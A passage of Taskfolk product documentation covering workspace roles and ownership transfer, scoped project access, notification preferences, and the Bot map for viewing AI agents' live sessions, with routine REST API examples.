toast confirms "Ownership transferred to {email}." ```mermaid sequenceDiagram actor O as Current owner participant U as Taskfolk actor T as New owner O->>U: Make owner, then confirm U->>T: Promoted to owner U->>O: Demoted to admin Note over U: One atomic change, never two owners or zero ``` Admins can change roles too, within limits. An admin can promote a member to admin, drop an admin to viewer, and so on. What an admin cannot do is promote anyone to owner or touch the owner's row at all. The role Select an admin uses doesn't even include owner as an option, and the server rejects any attempt to modify the owner. So "an admin quietly makes themselves owner" is not a thing that can happen. Ownership only moves when the current owner chooses to move it. One more item lives in that kebab menu: **Mark as agent** and **Unmark agent**. This flags a member as an AI agent, or removes the flag, and it's a per-workspace setting. It matters for billing, which we'll come back to at the end, because agent members are free. ## Removing a member or leaving the workspace yourself Sometimes the change you want isn't a new role, it's out. The row kebab has a **Remove** action for owners and admins. It's styled as a danger action and it opens a confirm dialog, because it's not something to fire off by accident: "Remove {email}? They lose access to this workspace and all of its projects. Their issues and comments stay." Read that last sentence carefully, because it's the part people get wrong. Removing someone does not delete their work: - Their issues stay. - Their comments stay. - The history of what they did in your workspace stays intact and attributed. What removal does is cut their access. They can no longer open the workspace or any of its projects. There's one more thing removal does, and it's the thoughtful part. In the same transaction that removes the person, Taskfolk auto-unassigns their **open** issues. So the ticket they were working on doesn't sit forever assigned to someone who's gone. It goes back to unassigned and you can hand it to someone still here. But this only touches open issues. Issues that are resolved, done, failed, or cancelled keep their original assignee, because that's history, and rewriting who finished a task months ago would be a lie. Open work gets freed up. Finished work keeps its record. If you're not the owner and you want to leave on your own, there's a **Leave workspace** button for you. It confirms with "Leave this workspace?" and does what it says. Owners are the exception. An owner cannot leave, because a workspace can't be ownerless. If you're the owner and you try, you'll see "Owners cannot leave. Transfer ownership first, then leave." So the sequence for an owner heading out is: **Make owner** on whoever's taking over, then leave as an admin. ## Scoped project access: locking a project to explicit members Guests are scoped to specific projects by nature. But sometimes you want to lock down a project even for your own team, so only named members can see it. That's a scoped project, and it's a two-part setup. You flip the project to scoped in the project's own settings, then you manage its member list from the People page. The scoping toggle lives in the project's settings, not on the People page. Open the project you want to protect, go to its settings, and turn on **Restrict access to explicit members**. That sets the project to scoped. From that moment, the project is visible only to workspace owners and admins (who always keep access to everything) plus the specific people you list. Everyone else in the workspace stops seeing it, as if it isn't there. ![The project settings Access section with the Restrict access to explicit members toggle, the switch that turns an open project into a scoped one.](/images/blog/how-to-restrict-project-access-access-tab-off.webp) Once at least one scoped project exists, a new card shows up on the People page for owners and admins: **Scoped project access**. Its description lays out the rule: "Scoped projects are visible only to workspace owners and admins plus the people listed here. Grant or revoke access per project." This card is where you build the access list. You pick the scoped project, click **Add member**, choose a teammate from the "Select a teammate…" picker, give them a project-level **Role** of Admin, Member, or Viewer, and add them. To pull someone off, you remove them from the same card. The card only appears when the workspace actually has a scoped project. No scoped projects, no card. That keeps the People page clean for workspaces that never need this. It helps to hold the visibility rules in one place, because they interact: - **Members and viewers** see all non-scoped (open) projects by default, plus any scoped project they've been explicitly added to. - **Guests** see only their explicit projects, scoped or not. Nothing is visible to a guest by default. - **Owners and admins** see everything, including scoped projects, and can't be locked out. So a scoped project is the tool for internal secrets: the acquisition project, the exec planning, the thing only three people should know exists. Guest scoping is the tool for external people. They solve different problems with the same underlying idea: access is explicit, not assumed. ## Managing roles from the API Everything above is the People page. If you onboard people from scripts, the same operations exist on the [REST API](/docs/how-to-use-the-rest-api). Listing who is in the workspace takes one call with a key that has the `members:read` scope: ```bash curl -s https://taskfolk.ai/api/v1/workspaces/your-workspace/members \ -H "Authorization: Bearer tfk_live_..." ``` Each row in the response carries `user_id`, `email`, `name`, `role`, and `joined_at`, so you can diff it against your HR list in a cron job. Sending an invite needs the `members:write` scope, and the key carries its creator's ceiling: the call only succeeds if the key belongs to an owner or admin, the same rule as the Invite people card. The body is the same choice you make in the form, an email and a role (`admin`, `member`, `viewer`, or `guest`): ```bash curl -s -X POST https://taskfolk.ai/api/v1/workspaces/your-workspace/invites \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{"email": "designer@studio.example", "role": "guest"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/your-workspace/invites", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ email: "designer@studio.example", role: "guest" }), }, ); const { data } = await res.json(); // 201; data.expires_at is the 7-day deadline ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/your-workspace/invites", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"email": "designer@studio.example", "role": "guest"}, ) res.raise_for_status() # 201; the invite still expires after 7 days ``` Role changes go through `PATCH /v1/workspaces/{slug}/members/{userId}`, and the accepted values are `admin`, `member`, and `viewer`: ```bash curl -s -X PATCH https://taskfolk.ai/api/v1/workspaces/your-workspace/members/USER_ID \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{"role": "viewer"}' ``` There is no `owner` value in that body, on purpose. Ownership moves only through the in-app transfer, API key or not. ## Who pays for a seat, and common role mistakes to avoid Roles have a billing side, and it's simpler than you might fear. Only three roles cost an editor seat: **owner**, **admin**, and **member**. Those are the roles that can create and change things, so those are the ones Taskfolk counts toward your per-seat subscription. Viewers are free. Agent members are free. Neither is ever counted toward the Stripe seat quantity, and when you change roles or remove people the seat count best-effort re-syncs so you're not paying for someone who left. ![The workspace billing page where the per-seat subscription lives. Seat charges track owners, admins, and members; viewers and agent members never count.](/images/blog/how-to-manage-billing-and-plans-billing-plan-hero.webp) That has a real, practical upshot. A stakeholder who only needs to watch progress should be a **viewer**, not a member, because a viewer costs you nothing and still sees the boards, the issues, and the team chat. Padding your workspace with viewers is free. Padding it with members is not. A few mistakes come up again and again, so name them and skip the pain: - **Inviting a contractor as a member instead of a guest.** This is the opening scenario. A member sees every non-scoped project by default. A guest sees only what you grant. External people should almost always be guests. - **Expecting a removed member's work to vanish.** It doesn't. Removal cuts access and auto-unassigns their open issues, but their issues and comments stay, attributed. If you actually need the content gone, that's a separate deletion, not a side effect of removing the person. - **Assuming viewers see nothing.** Viewers are read-only, but they can read team chat. If your channels hold things a viewer shouldn't read, a viewer role isn't the wall you think it is. - **Assuming an admin can grab ownership.** They can't. Only the owner can transfer ownership, and doing so demotes them to admin in the same move. Trusted admins are still not owners. If your open questions are about the money side, [do AI agents count as seats](/blog/do-ai-agents-count-as-seats) covers agent billing specifically, and [how to manage billing and plans](/docs/how-to-manage-billing-and-plans) covers seats, plans, and the per-seat quantity end to end. Set roles at invite time, use guests for outsiders, scope the projects that need scoping, and the leak in the opening never happens. Open your workspace's People page and check the summary strip right now. If the counts don't match who should have what, you just found your first fix. --- # How to manage your notification preferences URL: https://taskfolk.ai/docs/how-to-manage-your-notification-preferences Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: Taskfolk, how-to, project management Manage project management notifications in Taskfolk: read the Email vs In-app matrix, cut noise without going dark, watch issues, and control the weekly digest. You got assigned three tickets this morning. Then twelve emails arrived about them, one comment at a time, and by lunch you'd stopped opening any of them. That's one failure mode. The other is muting so hard that the one ping that actually mattered slid past you unseen. Both come from the same root: you never told the tool what you care about. Learning to manage project management notifications in Taskfolk is not about hunting for a master mute button. There isn't one, and that's deliberate. What you get instead is a grid. A handful of event types down one side, two ways to be reached across the top, a checkbox in every cell that applies. Once the grid makes sense, you can make your inbox quiet without going blind, and you can make sure the work you own always finds you. Here's what you'll be able to do by the end: - Open your notification preferences and read the Email versus In-app matrix correctly, including why the Weekly digest row has no in-app cell. - Decide, event by event, which of the nine notification kinds reach you by email, in-app, both, or neither. - Save the whole matrix as one batch and confirm it actually stuck. - Use "Status changes I follow" together with watching an issue to track work you don't own. - Understand the real walls: no global mute, no per-project overrides, and how the weekly digest and its one-click unsubscribe behave. ## Why your notifications feel loud Taskfolk reaches you through exactly two channels. Email, and the in-app bell in the top bar. That's the entire list. No push, no SMS, no Slack relay, no desktop toasts. Every notification you will ever get lands on one or both of those two. Against those two channels sit nine event kinds. Four are the ones you'll actually think about day to day: **Assigned to me**, **Mentioned me**, **Replies to my comments**, and **Status changes I follow**. Those four are the spine of issue tracking. The other five (Invite accepted, Weekly digest, and three chat kinds) fire less often, but they live on the same grid and follow the same rules. The mental shift that makes this easy: it's a matrix, not a switch. You're never turning notifications "on" or "off" in the abstract. You're deciding, per event, whether it emails you, pings the bell, does both, or does nothing. A reply to your comment might be worth an email. A status change on an issue you're only half-watching might be worth a quiet bell notification you'll catch next time you're in the app. That distinction is the whole game. One thing to know before you touch anything. These preferences are per-user and global. They apply to you, across every workspace and every project you belong to. There is no per-project version of this screen. Set it once, it's set everywhere. ## Open your notification preferences Go to your profile page and find the **Notifications** section. Scroll to the card titled **Notification preferences**, subtitle "Choose how we notify you for each event type." That card is the entire control surface. Everything you tune lives there. The layout is a grid. Down the left, nine event rows. Across the top, two column headers: **Email** and **In-app**. Wherever a channel applies to an event, there's a checkbox. Checked means you get it on that channel. Unchecked means you don't. ![The Notification preferences card on the profile page, showing the full Email versus In-app checkbox matrix across all nine event rows. It anchors the tutorial by showing the exact labels, the two column headers, and that the Weekly digest row has an Email checkbox but a blank In-app cell.](/images/blog/how-to-manage-your-notification-preferences-prefs-matrix.webp) Scan down and one row looks off. **Weekly digest** has a checkbox under Email, but its In-app cell is blank. That's not a rendering bug. The weekly digest is an email-only thing, a summary that goes out on a schedule, so there's no in-app version of it to toggle. The empty cell is telling you the truth: nothing to check there. Don't go looking for an in-app digest. It doesn't exist, by design. Read the grid before you change anything. Notice which boxes are already ticked. Those are your current effective settings, and knowing where you're starting from makes every later decision easier. ## What each of the nine event types means Toggling a row you don't understand is exactly how people accidentally silence the one alert they needed. So here's what each event fires on. **Assigned to me.** Someone assigns an issue to you. The "you now own this" ping. If you keep nothing else loud, keep this one. **Mentioned me.** Someone writes `@you` in a comment. A specific person wants your eyes on a specific thread. Direct, targeted, usually worth an email. **Replies to my comments.** You commented on WEB-42, someone replied under it. This keeps you in a conversation you started without having to reopen the issue to check. **Status changes I follow.** This is the row for the status-changed event, and it's the one people misread most. It does not mean "every status change in the project." It means status moves on issues you follow: issues you're assigned to, issues you reported, or issues you've explicitly watched. Someone drags your "Timeline + Summary tab" ticket from In Progress to In Review, and this is the event that tells you. **Invite accepted.** You invited someone to a workspace and they accepted. Worth knowing: this fires only to the person who sent the invite. Nobody else gets pinged when a new member joins. **Weekly digest.** The scheduled summary email. More on what's actually in it near the end. The last three, **Chat mentions**, **Chat thread replies**, and **Direct messages**, belong to team chat rather than issue tracking. If your workspace uses Taskfolk's built-in chat, these decide whether a chat mention, a reply in a chat thread, or a DM reaches you. If you don't use chat much, they'll rarely fire. They sit on this same grid for convenience, but file them mentally under a different feature. There's more on the chat side in [how to use team chat](/docs/how-to-use-team-chat), and a deeper look at issue notifications in [notifications and watching issues](/docs/notifications-and-watching-issues). ## The defaults, and why they're set the way they are Taskfolk doesn't ship with everything on or everything off. It ships with an opinion, and the opinion is worth understanding before you override it. The actual shipped defaults: | Event | Email | In-app | |---|---|---| | Assigned to me | On | On | | Mentioned me | On | On | | Replies to my comments | On | On | | Status changes I follow | Off | On | | Invite accepted | Off | On | | Weekly digest | On | Not available | | Chat mentions | On | On | | Chat thread replies | Off | On | | Direct messages | On | On | Every applicable kind is in-app on out of the box. The bell catches everything. The logic is simple once you see it. Things aimed straight at you (an assignment, an `@mention`, a reply to your own comment, a DM) email you, because those are the moments where a missed notification actually costs you something. Ambient things (a status moving, an invite being accepted, a reply buried in a chat thread) stay in the bell, where you'll notice them when you're already in the app, without cluttering your inbox. So the default posture is: your inbox is reserved for direct, must-not-miss signals. The bell is the catch-all for everything else. That's a sane starting point for most people, which is why you might not need to change much at all. One caveat that trips people up. These defaults hold only until the first time you save. The moment you click Save preferences, the stored matrix becomes authoritative, and any kind you didn't explicitly set falls back to its default behind the scenes. In practice: don't half-set the grid and assume the rest stays "default forever." Set what you care about, save, and treat what's on screen as the source of truth. ## Turn off email notifications without going dark This is the request I hear most. "I want to turn off email notifications but I don't want to miss anything." That's exactly what the two-channel split is for. The move is to uncheck **Email** on your noisy rows while leaving **In-app** checked. You're not muting those events. You're relocating them from your inbox to your bell, where they pile up quietly until you glance over. ![The in-app Notifications page, where relocated events land. Filter tabs across the top let you view Unread, Assigned to me, Mentions, Replies, and Status changes separately.](/images/blog/notifications-and-watching-issues-inbox.webp) Concretely. Say you're following the "Timeline + Summary tab" ticket in the WEB project along with a dozen others, and every time one of them shifts columns you get an email. That's your **Status changes I follow** row lighting up your inbox. Uncheck its Email box. Leave In-app checked. Now those moves show up in the bell, you catch them next time you open Taskfolk, and your inbox goes quiet. Do the same to **Replies to my comments** if comment threads are what's burying you. The way to reason about it: email is for what you cannot afford to see late. In-app is for what you'll notice anyway next time you're working. Most status churn belongs in the second bucket. Direct assignments and mentions usually belong in the first. Once that split is in your head, tuning the grid stops being guesswork. For each row you just ask: "if I only saw this the next time I opened the app, would that be too late?" If no, drop it to in-app only. ## Save your changes and confirm they stuck Here's the part that catches people. Nothing on this grid saves as you click. Checking and unchecking boxes only changes the pending state on screen. The real save is one batch, one button. So flip every box you want changed first. All of them. Then click **Save preferences**. While it works the button reads **Saving…**, and when it lands you get a toast: **Notification preferences saved.** That toast is your proof the whole matrix was written. Navigate away before clicking Save and your edits are gone. They don't persist as drafts. This is genuinely the number one way people believe they changed their notifications and then keep getting the same emails: they toggled, got distracted, and left without saving. So build the habit. Tune the entire grid to what you want, save once, watch for the toast. If you didn't see "Notification preferences saved," it didn't save. ## Watch an issue to follow status changes you don't own The **Status changes I follow** row only earns its keep if you know how to add issues to the "follow" set. You're on it automatically for issues you're assigned to or that you reported. But what about a ticket you don't own and just want to keep an eye on? That's what watching is for. Open any WEB task from the board (click into it from any column, Backlog through Done) and look near the top of the issue detail page. There's a **Watch** control. Turn it on, and you're added to that issue's watcher set. ![The issue detail page for a WEB epic, with the Watch control at the top of the issue showing a watcher count of two.](/images/blog/how-to-create-an-issue-issue-detail-subtasks.webp) Here's how it wires together. When an issue's status changes, Taskfolk builds the recipient list from three sources: the reporter, the assignee, and anyone explicitly watching. Then it filters every one of those people through their own notification preferences. ```mermaid flowchart TD S[Status change on an issue] --> R[Reporter] S --> A[Assignee] S --> W[Watchers] R --> P{Their own prefs} A --> P W --> P P -->|Email box checked| E[Email] P -->|In app box checked| B[Bell] P -->|Neither| N[Nothing] ``` So watching the "Timeline + Summary tab" ticket puts you on the list, and whether you actually hear about it depends on your **Status changes I follow** settings. This is the honest limit worth stating plainly. Watching does not create its own separate toggle. It doesn't override your preferences. It only adds you to the pool that gets filtered through the status-changed prefs you already set. Remember the default there: in-app on, email off. So if you watch an issue expecting an email when it moves, you won't get one until you also check the Email box on **Status changes I follow**. Watching gets you into the room. Your preferences decide whether the door to your inbox is open. If you're setting up a fresh issue and want the watcher mechanics from the ground up, [how to create an issue](/docs/how-to-create-an-issue) covers where these controls live, and [notifications and watching issues](/docs/notifications-and-watching-issues) goes deeper on the fan-out. ### Watching from a script The same watch toggle exists on the public API, which matters if a bot or an agent manages your follow set for you. Watching over the API is self-only: it subscribes the key's own user, never anyone else. The call is idempotent, so re-watching an issue you already follow is harmless. ```bash curl -X POST \ https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-42/watchers \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-42/watchers", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2..." } }, ); const { data } = await res.json(); // { user: { id, email, name }, created_at } ``` ```python import requests r = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-42/watchers", headers={"Authorization": "Bearer tfk_live_a1b2..."}, ) print(r.status_code) # 201 first time, 200 if already watching ``` You can read your bell from a script too. A key with the `notifications:read` scope can list its own user's notifications for the workspace (only its own, never another member's): ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/notifications?limit=20" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```json { "data": [ { "id": "0198c1f2-7b3e-7c11-a2d4-9e8f01234567", "kind": "status_changed", "read": false, "created_at": "2026-07-16T09:12:00.000Z", "issue_key": "WEB-42", "issue_title": "Timeline + Summary tab", "project_slug": "web", "actor_name": "Omar Haris", "actor_email": "omar@haris.bz" } ], "pagination": { "next_cursor": null } } ``` If you never touch the API, skip this and nothing changes. The web app is the full experience. ## The weekly digest and one-click unsubscribe The weekly digest is a single email on a Monday sweep. It's a snapshot, not a firehose, and it's easy to over-imagine what it holds, so here's the real contents. It lists your open assigned tasks, the tasks you have due this week, and a count of how many you closed in the past week. That's the shape: what's on your plate, what's due soon, what you cleared. It only includes issues assigned to you, in projects you can see (visible, non-archived, non-deleted, and for scoped projects only ones you're an explicit member of). It's capped at 20 open issues. It is not a full activity feed and it will not show you everything moving around the workspace. If you want a richer written summary, that's a different tool: see [let AI write your weekly project update](/blog/let-ai-write-your-weekly-project-update). The digest is gated by one thing only: the **Weekly digest** email preference. Checked, you get it. Unchecked, you don't. No in-app version, remember. That cell is blank. The unsubscribe is the nice touch. The digest email carries a proper one-click unsubscribe in its header (the RFC 8058 kind your mail client can honor without opening a browser). Clicking it flips exactly one preference: your Weekly digest email, off. It touches nothing else. Your assignment emails, your mentions, your bell notifications, all left alone. ```mermaid sequenceDiagram participant M as Mail client participant U as Taskfolk M->>U: POST /api/unsubscribe with signed token U->>U: Verify the token U->>U: Turn off Weekly digest email only U-->>M: 200 OK ``` And when you come back to your profile afterward, you'll see a small confirmation banner in the Notifications section telling you the unsubscribe went through (it arrives as an `?unsubscribed=1` marker on the URL, anchored to the Notifications section; a failure shows the matching failed marker instead). So you can quiet the digest straight from your inbox, in one click, without any worry that you've accidentally muted something that matters. ## Limits worth knowing before you tune anything I'd rather you know where the walls are than spend ten minutes hunting for a button that was never built. Here's the honest boundary of what this screen can and can't do. **No global mute, no per-channel master toggle.** There is no single switch that turns everything off, and no "all email off" or "all in-app off" shortcut. Every combination is an individual checkbox. Want your whole inbox quiet? You uncheck the Email column row by row. A few clicks, not one. **Two channels only.** Email and in-app. No push, no SMS, no Slack integration, no desktop notifications. If you were hoping to route Taskfolk alerts into Slack, that's not here. **Preferences are global, not per-project.** This is the big one. Your settings apply to you across every workspace and project. You cannot say "email me for WEB but not for MOBILE." One matrix, everywhere. If there's a project you'd like to hear less from specifically, your lever is per-issue: stop watching its issues, and lean on the fact that you'll naturally only get assignment and mention notifications for work that actually involves you. **You never get notified about your own actions.** Self-action suppression is built in. Move your own ticket, comment on your own issue, and you won't ping yourself, whatever the grid says. It's not a setting, it's just how it works, and it's why your notifications aren't a mirror of everything you personally do. **On local or dev setups with no email configured, mail is logged, not sent.** If you're testing Taskfolk on a machine with no SMTP, the app writes what it would have emailed to the logs instead of delivering it. So don't judge your email preferences by a dev instance. On a properly configured deployment the mail really goes out. Once you know those boundaries, the grid stops feeling limited and starts feeling honest. It does one job, deciding which events reach you on which of two channels, it does it globally, and it doesn't pretend to be a routing engine it isn't. That's the whole system. Two channels, nine events, one save button, and a watch control that feeds the row people always misjudge. Open your profile, read the grid you already have, decide which rows belong in your inbox versus your bell, save once, confirm the toast. Ten minutes now buys you a much quieter, much more trustworthy stream for months. Open your profile's Notifications section and tune the grid to match how you actually work. --- # How to map your agent team URL: https://taskfolk.ai/docs/how-to-map-your-agent-team Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, views, AI agents, how-to The Bot map shows every AI agent in a workspace, who owns it, and its live work on one radial tree. How to read status dots, regroup, and spot stalls. You connected five agents. Then eight. Now someone asks whether the WEB refactor agent is actually running or stuck waiting on input, and you don't know. You open the Bots page, you get a list of names and owners, and you still have to click into each one to find out what it's doing. A list is a roster. It tells you who is on the team. It says nothing about what the team is doing right now. That gap is what the Bot map closes. If you want to visualize AI agents on a team the way you read a board at a glance, the map is the surface: one radial tree centered on your workspace, with every agent, who owns it, the projects it touches, and its live work, all readable without clicking into a single detail page. This guide covers the whole thing. How to open it, how to read a status dot in one glance, how to regroup the same agents three ways to answer three different questions, how to catch a stalled agent before it burns your afternoon, and where the honest limits sit so you never expect something the map doesn't do. ## Why you need to visualize AI agents on a team The problem with a list is that it's flat. Six agents named Refactor Bot, Docs Writer, Triage, each with an owner column, sorted however the table sorts. That's fine for "who is connected." It's useless for "what is the shape of the work right now." When you run a team of agents, your real questions are relational: - Who owns the one that failed? - Which agents are all piled into WEB at once? - Is anything actually running, or is it all just assigned and waiting? A table makes you reconstruct those answers one row at a time, in your head. That reconstruction is a tax, and it grows with every agent you add. The map answers those questions by showing structure instead of a roster. It centers on your workspace, draws every agent around it, and under each agent the projects it works in and the specific tasks it's on. To visualize AI agents on a team you need the connections, not the names, and a radial tree is built for that: relationships radiating out from one center you can hold in your head. Two things to know up front. The map is scoped to a single workspace. It is not org-wide or cross-workspace. And it's visible to every workspace member, the same access as the Bots page itself, so there's no per-role gating beyond being in the workspace. What you see is one workspace's agent team, its owners, its projects, its live work. ## How to open the Bot map from the hub Go to the Bots page at `/w//bots`. That's the List view and where you land by default: the roster of every connected agent with its owner and status. ![The Bots page List view: recent sessions with state pills like Needs input, Stalled, In review, and Running, the connected-agents table below, and the List / Map toggle in the page header.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) In the page header there's a segmented toggle with two links, List and Map. It's a plain server-rendered control, and the active tab is filled with brand gold so you can tell at a glance which view you're in. Click Map. You land on `/w//bots/map`, which is the whole tree. Hold onto the split between the two views. List answers "who is connected." Map answers "what is the team doing." Same agents, two lenses. When you're onboarding a new agent or checking a key, List is the place. When you want to know whether the team is moving, Map is the one. If your workspace is brand new with no agents connected, the map isn't a blank void. It shows a "No agents yet" empty state with a short line of guidance: connect an agent from the hub and it shows up here with its live work. A first-timer who opens the map before connecting anything gets pointed back to the right place instead of staring at nothing. ## Reading the map at a glance Slow down on this part, because once you can read the map in one glance, everything else is just navigation. At the center sits the workspace root. Around it, one node per agent. The root node carries a live count: a pulsing cyan dot plus a compact number, and that number is how many agents are currently running. So before you read a single agent node, the root gives you the pulse of the whole workspace. Three running out of eight? You see it instantly. ![The default Bot map: a radial tree centered on the workspace with agent nodes around it, colored status dots, and the By agent / By project / By owner mode control plus Expand all, Collapse all, and the Filter the map box. The hero view for reading the whole team at a glance.](/images/blog/how-to-map-your-agent-team-map-by-agent.webp) Each agent node carries a colored status dot, and this is the single most important thing to learn. The dot is an aggregate of everything that agent is doing, and its color follows a fixed vocabulary: - **Running** is cyan, and it pulses. At least one live session is moving. - **Attention** is orange. The agent needs input or has stalled. This is the color you want to catch fast. - **Review** is yellow. Work is sitting in review, waiting on a human. - **Failed** is pink. Something broke. - **Idle** is grey. Nothing active. Beside an agent's node you'll also see a cyan number when it has live sessions running, the per-agent version of the root's count. One agent running three sessions shows a cyan 3. Here's the part people miss. Because the dot is an aggregate, there's a precedence order when an agent is doing several things at once: attention beats running, which beats review, which beats failed, which beats idle. Read that with a concrete case. Say an agent has one session blocked and waiting on input, and a second session happily running. The dot reads orange, not cyan. The blocked state wins, on purpose, because the thing you need to know about that agent is that it needs you, even though it's also busy elsewhere. The dot tells you "this agent needs attention," not "this one session is running." Don't read it as a single session's status. It's the agent's whole situation compressed to one color. ## How to regroup by agent, by project, or by owner Same agents, same tasks, reshaped to answer whichever question you're actually holding. That's the second segmented control, up with the mode options: By agent, By project, By owner. Each mode is a different nesting of the same tree: - **By agent** (the default) nests Workspace to Agent to Project to Task. This answers "what is each agent doing?" You start from an agent and drill into its work. - **By project** nests Workspace to Project to Agent to Task, and only projects with actual agent activity show up. This answers "what is happening in WEB?" You start from a project and see every agent piling into it, plus their tasks. If three agents are all in your WEB project, By project puts them side by side under one branch so the crowd is obvious. - **By owner** nests Workspace to Owner to Agent to Project to Task. This answers "which of my reports owns the stuck agent?" You start from a person and see the agents they're responsible for. Owner nodes show the owner's avatar. ![The Bot map in By owner mode: the tree regrouped so a person node sits between the workspace root and the agents they own, with the By owner tab active in the mode control.](/images/blog/manage-a-team-of-ai-agents-map-owner.webp) Match the mode to the question in your head: | The question you're holding | The mode that answers it | | --- | --- | | "What's my triage agent up to?" | By agent | | "Why is WEB moving so slowly?" | By project | | "Who owns this broken one?" | By owner | Same data, three answers. One behavior to expect: switching modes resets the expansion state and refits the view. If you had a branch expanded in By agent and you flip to By project, the tree collapses back to a clean fitted layout. That's deliberate, since the whole shape changes, but it means you re-expand after a mode switch rather than expecting open branches to carry over. ## Reading what each agent is working on right now Click an agent branch to expand it. It opens to its projects, and under those, its work items. A work item is one of two things, and the difference matters: either a live session, or an open issue assigned to the agent that has no session yet. ![An expanded Bot map branch: session nodes with issue keys and live notes under each agent, cyan running counts, a Stalled pill on a quiet session, and a dimmed Assigned node for a queued issue with no session yet.](/images/blog/manage-a-team-of-ai-agents-map.webp) A session node shows you the real detail. The issue title, an issue-key sublabel underneath (something like WEB-42 on a "Timeline + Summary tab" ticket), the agent's live note (whatever it last reported it's doing), and a colored session-state pill. That pill is the session's own state, distinct from the agent's aggregate dot, and it reads as one of: Pending, Running, Needs input, In review, Done, Failed, or Cancelled. The lifecycle behind those pills is short. A session is either created by the system when you assign an issue to an agent (that's Pending, waiting to be claimed) or started by the agent itself. From there the agent moves it between the working states until it lands in a terminal one: ```mermaid stateDiagram-v2 [*] --> pending: issue assigned to the agent [*] --> running: agent starts a session itself pending --> running: agent claims the work pending --> cancelled: unclaimed for 7 days running --> needs_input: blocked on a human needs_input --> running: input arrives running --> review: work ready for review review --> done running --> done running --> failed running --> cancelled ``` Then there's the other kind of work item: an assignment with no session behind it yet. An open issue is assigned to the agent, but the agent hasn't started a run on it. That renders dimmer, at 40% opacity, with an "Assigned" pill. Small design decision, big payoff. It means "what task is this agent on?" is answered even before the agent starts working, because the assignment itself is on the map. You're not blind to queued work. Be clear about what "Assigned" means, though. It is not a live run. It's a queued issue. The dimming is the signal: bright means something is happening, dim means something is waiting. Don't read an Assigned item as an agent that's working. Two more things about which sessions appear. Done and cancelled sessions are hidden, because the map is a view of active work, not a history log. But failed sessions stay visible, on purpose. A broken agent should be impossible to miss, so failure doesn't disappear the way completion does. If you want a full session history, the map is not that surface. ## How to catch a stalled agent before it costs you This is the feature that earns the map its keep. An agent that's silently stuck is worse than one that fails loudly, because failure at least shows up pink. A stall just sits there looking busy. So the map watches for it. A session that's running or pending but has had no activity for over 30 minutes gets an orange "Stalled" pill, and the agent's status dot flips to attention orange (the attention state in the precedence order). You catch it as a color change on the tree. No digging. The clever part is that this doesn't need a server event. A client-side clock re-derives stall state every 30 seconds, so an agent can go stale on your screen even though nothing came in from the server. It just crosses the 30-minute line and the pill appears on your next tick. Be precise about what Stalled is, because the honesty matters. Stalled is a time-based heuristic, computed on the client from the last activity timestamp. It is not a stored session state. The seven states a session can actually be in are pending, running, needs_input, review, done, failed, and cancelled. There is no "stalled" state in the database. It's a derived hint, "this looks stuck," produced by a clock, not pushed by the agent. Which means Stalled tells you an agent has gone quiet, not that it has definitively broken. Sometimes a long-running job is genuinely working and just quiet. But quiet-for-30-minutes is exactly the signal you want surfaced, and the map surfaces it before anyone pings you asking why WEB-42 hasn't moved. ## Following live updates without reloading The map is live. You don't refresh it. It opens a Server-Sent-Events stream to `/api/w//agents/stream`, and when something happens to a session (created, claimed, heartbeated, or reaching a terminal state) the map patches just that node in place. No full tree rebuild, no flash, no scroll jump. The one node that changed updates and the rest holds still. Each frame on the stream is a small JSON event. A session update looks like this: ```json { "type": "session.updated", "sessionId": "0197c9f2-8a41-7c3e-b1d2-4f5a6b7c8d9e", "agentUserId": "0197c8aa-1b2c-7d4e-9f01-23456789abcd", "state": "needs_input", "title": "Magic-link login on the welcome page", "note": "Blocked: which sender address should staging use?", "externalUrl": null, "issueKey": "WEB-6", "issueTitle": "Magic-link login on the welcome page", "projectSlug": "web", "lastActivityAt": "2026-07-15T09:41:12.000Z", "endedAt": null, "at": "2026-07-15T09:41:12.000Z" } ``` Agent connect and disconnect events work a little differently. When an agent joins or leaves the workspace, the map pulls a fresh server snapshot rather than patching, because the set of nodes itself changed. Session updates patch; membership changes re-snapshot. If the connection drops, the map doesn't silently miss whatever happened while it was out. It reconnects automatically, and while it's doing so it shows a "Reconnecting…" notice so you know the stream is briefly down. On reconnect it passes `?since=` with the timestamp it last heard from, and the server replays every session touched during the gap. The client dedupes by session id and timestamp, so a replayed event you already saw doesn't double-apply. A dropped connection doesn't leave you with a stale map. ```mermaid sequenceDiagram participant M as Map in your browser participant S as Taskfolk server M->>S: GET /api/w/taskfolk/agents/stream S-->>M: session.updated frames as work moves Note over M: patches one node per frame M--xS: connection drops M->>S: reconnect with ?since=last timestamp S-->>M: replays every session touched in the gap Note over M: dedupes by session id and timestamp ``` Now the honest limit, because it shapes how much you trust the stream. Delivery is best-effort over an in-process bus, and the database is the source of truth. The `?since` replay plus dedupe on reconnect is what makes that reliable in practice, not a guarantee of instant delivery independent of it. This runs in-process today; Redis is named as a future scaling seam, not shipped multi-node fan-out. On a single node this is exactly what you want. Just don't build a mental model where the stream is a hard real-time guarantee across a cluster. It's a fast, self-healing view backed by a DB that always has the real answer. ## Pulling the same sessions from a script The sessions the map draws are also available over the REST API, which is handy when you want the "is anything stuck" check in a Slack bot or a morning cron instead of a browser tab. `GET /v1/workspaces/{slug}/agent-sessions` lists recent sessions and takes `state`, `agent_id`, `issue_key`, and `limit` as filters. It needs an API key with the `agents:read` scope. Asking "which sessions are blocked on a human right now" looks like this: ```bash curl 